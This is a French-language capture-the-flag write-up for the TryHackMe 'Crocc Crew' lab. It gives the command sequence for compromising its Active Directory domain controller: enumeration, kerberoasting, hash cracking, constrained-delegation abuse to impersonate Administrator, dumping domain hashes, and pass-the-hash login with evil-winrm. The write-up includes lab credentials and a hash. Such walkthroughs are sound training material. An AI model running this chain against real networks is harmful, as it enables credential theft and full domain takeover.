Crocc Crew – TryHackMe – WriteUp Easy Way – Fr

Crocc Crew has created a backdoor on a Cooctus Corp Domain Controller. We’re calling in the experts to find the real back door!

Crocc Crew est une box de TryHackMe. Classé insane, elle nécessite des connaissances dans l’exploitation de Kerberos et des

« constrained delegation »  

Enumération

Plus une box est difficile, plus son énumération est importante. Dans ce cas, j’utilise Autorecon. Cet outil permet d’automatiser la reconnaissance et de ne pas oublier certains ports. Même s’il ne fait pas tout, il est souvent d’une grande aide. 

Commande :

autorecon 10.10.240.17

Les résultats du scan se trouvent dans /scan/10.10.240.17/result . Il est préférable de se mettre dans le dossier et de faire la commande subl . pour ouvrir tous les fichiers à la fois

 

Cela dit, et comme on est sur un CTF, j’utilise une commande beaucoup plus direct dans un 1ier temps afin de connaitre les ports ouverts. 

Commande :

nmap -T5 -p- 10.10.240.17

Web Enumération

On peut noter que le port 80 est ouvert. Il faut énumérer les répertoires et les fichiers, voir s’il y a des choses intéressantes. 

Commande :

gobuster dir -u http://10.10.240.17 -w /usr/share/wordlists/rockyou.txt

Même si le résultat du scan n’est pas top, on trouve un fichier robots.txt

 

En fait, tout ce qui concerne les accès au port 80 ne sont que des rabbits holes. En revanche, dans le fichier db se des identifiants que l’on peut tenter d’utiliser pour se connecter sur le port RDP 3389

Connexion RDP

Commande :

rdesktop 10.10.240.17

Les identifiants ne fonctionnent pas sur la connexion RDP. En regardant bien sur le port à droite de la fenêtre, on peut voir qu’il y a un post-it d’accrocher. 

Commande pour avoir RDP en pleine page :

rdesktop -f 10.10.240.17

Une fois les identifiants de Visitor récupérer, il faut tenter de se connecter. 

Enumération SMB

Toujours avec les identifiants de Visitor, nous allons voir si on peut accèder aux partages.

Commande :

smbmap -H 10.10.240.17 -u ‘Visitor’ -p ‘GuestLogin!’

Connexion au partage /home :

smbclient \\\\10.10.240.17\\Home -U ‘Visitor’

 

On récupère le fichier user.txt. 😃

Attaque sur Kerberos

C’est maintenant que les choses deviennent intéressantes. Pour voir si via l’utilisateur Visitor, il est possible d’effectuer un kerberoasting.

Commande :

impacket-GetUserSPNs ‘cooctus.corp/Visitor:GuestLogin!’ -dc-ip 10.10.240.17

 

Magnifique. On récupére un nom d’utilisateur et le fait qu’il détient probablement un droit de délégation. 

On va d’abord récupèrer le hash de son mot de passe avec cette commande :

impacket-GetUserSPNs ‘cooctus.corp/Visitor:GuestLogin!’ -dc-ip 10.10.240.17 -outputfile crooc.ker

Le fichier crocc.ker contient le hash de password-reset qu’il faut cracker avec hashcat ou john.

Commande hashcat :

.\hashcat.exe -m 13100 -a 0 .\hash2.txt .\rockyou.txt

Constrained delegation

Maintenant que l’on connait le mot de passe de password-reset, et que l’on sait qu’il a une délégation de contrôle, il faut essayer de récupérer un silver ticker avec la commande getST d’impacket.

Commande :

impacket-getST -dc-ip 10.10.240.17 -spn HTTP/dc.cooctus.corp -impersonate Administrator ‘cooctus.corp/password-reset:resetpassword’

Manque de pot, la commande fonctionne, mais on ne peut pas impersonate le compte Administrator. 

Bref, après quelques minutes de recherche ou quelque heures ( je ne sais plus 🙂  ), j’ai trouvé une commande, toujours Impacket, qui m’a sauvé la vie. impacket-findDelegation 

Commande :

impacket-findDelegation ‘cooctus.corp/password-reset:resetpassword’ -dc-ip 10.10.240.17

 

Super!!! Il y avait en fait un second SPN oakley….

Commande :

impacket-getST -dc-ip 10.10.240.17  -spn oakley/DC.COOCTUS.CORP -impersonate Administrator ‘cooctus.corp/password-reset:resetpassword’

 

On a réussi à récupéer les identifiants de l’Administrator qui sont stocké dans un fichier Administrator.ccache. Ce fichier, il faut le mettre dans une variable d’environnement. 

Commande :

export KRB5CCNAME=Administrator.ccache

Dumping Hashes

Il est maintenant possible de dumper les hash du système avec la commande secretdump.py toujours d’impacket. 

Commande :

impacket-secretsdump -k -no-pass DC.COOCTUS.CORP

Acces Distant avec WinRm

Avec le hash de l’Administrator, le 2ᵉ pas le 1ier, i lest possible de se connecter au système via winrm. 

Pour information, le 1ier correspond au mot de passe du compte admin avec la promotion en contrôleur de domaine et le 2ᵉ, c’est le mot de passe actuel.

Commande :

evil-winrm -i 10.10.240.17 -u Administrator -H add41095f1fb0405b32f70a489de022d

That’s all folks

Merci d’avoir pris la peine de venir sur le site de lire ce Write Up

J’espère qu’il vous a plus et qu’il vous apprit des nouvelles.

N’hésitez pas à laisse un commentaire ou à partager cet article. 

Facebook
Twitter
LinkedIn
Pinterest